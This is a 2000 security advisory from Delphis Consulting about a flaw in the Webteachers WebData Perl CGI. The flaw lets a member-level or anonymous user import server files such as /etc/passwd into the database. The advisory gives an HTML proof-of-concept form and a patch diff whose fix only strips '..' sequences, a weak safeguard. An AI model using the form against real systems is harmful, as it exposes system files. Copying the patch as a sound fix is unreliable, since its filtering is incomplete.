DST2K0039: Webteachers Webdata: Importing files lower than web ro ot possible in to database

2000-10-06T00:00:00
ID SECURITYVULNS:DOC:751
Type securityvulns
Reporter Securityvulns
Modified 2000-10-06T00:00:00

Description

All,

We have released the following advisory due to the fact that we have provided a patch (Section II). If people require any help with implementing this patch please come back to us on the following e-mail address (securityteam@delphisplc.com).

This patch may require a little tinkering with for your installation (i.e. chroot environments).

Rgds

Ollie

Ollie Whitehouse Security Team Leader tel: +44 (0)20 79160200

============================================================================ Delphis Consulting Plc ============================================================================

                       Security Team Advisories
                           [26/09/2000]

                        securityteam@delphisplc.com
              [http://www.delphisplc.com/thinking/whitepapers/]

============================================================================ Adv : DST2K0039 Title : Webteachers Webdata: Importing files lower than web root possible in to database Author : DCIST (securityteam@delphisplc.com) O/S : Linux / WindowsNT Product : Webteachers WebData Date : 26/09/2000

I. Description

II. Solution

III. Vendor Comments

IV. Disclaimer

============================================================================

I. Description

Vendor URL: http://webteacher.com/webdata/

Delphis Consulting Internet Security Team (DCIST) discovered the following vulnerability in WebData under Linux (although not tested under WindowsNT we would expect the same results).

Severity: Medium (due to the fact that you need an account in WebData)

It is possible to import any file (i.e. /etc/passwd) from the file system which the Webserver user (i.e. nobody) has access to in to the WebData database. This enables potenial attackers to gain access to the contents of a number of key files (i.e. hosts.allow / hosts.deny .etc) by browsing the database afterwards.

Note: You need at least a member account to perform this action.

The below script won't just work but will require a little brain power to get working with your database. This enables a user to import anonymously any file that the web user has access to.

example script: <form action="http://127.0.0.1/cgi-bin/webdata_test.pl" method="post"> <INPUT TYPE=TEXT SIZE=60 NAME="pathname"><BR> <font size=3>Is the file comma or tab delimited?</font></B> <select name="delimiter" size=1> <option value="comma">comma <option value="tab">tab <option value="pipe">pipe </select> <INPUT TYPE=HIDDEN NAME="member" VALUE="anonymous"> <input type=hidden name="cgifunction" value="import2"> <BR> <INPUT TYPE=SUBMIT VALUE="Import"> </form>

II. Solution

Vendor Status: Informed

Currently there us no known solution to this problem. Delphis have provided a patch to the perl script below:

[root@dcist cgi-bin]# diff webdata_new.pl webdata_old.pl 9d8 < $webroot='/home/httpd/html/'; 4069,4075c4068 < if (length($user_data{pathname})>0) { # is the user using this method < $olddata = $user_data{pathname}; # store this so we have it for later < $user_data{pathname} = $webroot . $user_data{pathname}; < $user_data{pathname} =~ s/\.\.//g; # strip out all double dots < } < print " [$user_data{pathname}] "; < open (FIELDS,"<$fieldnames") or &error("could not open $fieldnames");


> open (FIELDS,"<$fieldnames") or &error('could not open $fieldnames'); 4095c4088 < open (FILE,"<$user_data{pathname}") or &error("Could not open $olddata");


> open (FILE,"<$user_data{pathname}") or &error("Could not open $user_data{pathname}");

III. Vendor Comments

Thank you for the security advise. We will make the patch in the next release. Most likely, the patch will simply require the imported file to be in the "uploads" directory, to which Webdata already has an absolute path, and no slashes will be permitted in the filename.

IV. Disclaimer

THE INFORMATION CONTAINED IN THIS ADVISORY IS BELIEVED TO BE ACCURATE AT THE TIME OF PRINTING, BUT NO REPRESENTATION OR WARRANTY IS GIVEN, EXPRESS OR IMPLIED, AS TO ITS ACCURACY OR COMPLETENESS. NEITHER THE AUTHOR NOR THE PUBLISHER ACCEPTS ANY LIABILITY WHATSOEVER FOR ANY DIRECT, INDIRECT OR CONSEQUENTIAL LOSS OR DAMAGE ARISING IN ANY WAY FROM ANY USE OF, OR RELIANCE PLACED ON, THIS INFORMATION FOR ANY PURPOSE. ============================================================================ This e-mail and any files transmitted with it are intended solely for the addressee and are confidential. They may also be legally privileged.Copyright in them is reserved by Delphis Consulting PLC ["Delphis"] and they must not be disclosed to, or used by, anyone other than the addressee.If you have received this e-mail and any accompanying files in error, you may not copy, publish or use them in any way and you should delete them from your system and notify us immediately.E-mails are not secure. Delphis does not accept responsibility for changes to e-mails that occur after they have been sent. Any opinions expressed in this e-mail may be personal to the author and may not necessarily reflect the opinions of Delphis